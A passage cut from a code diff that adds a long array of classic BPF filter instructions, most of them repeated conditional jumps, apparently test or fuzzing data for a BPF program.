}, + { .k = 0x00000002, .code = 0x0064, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x07, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, 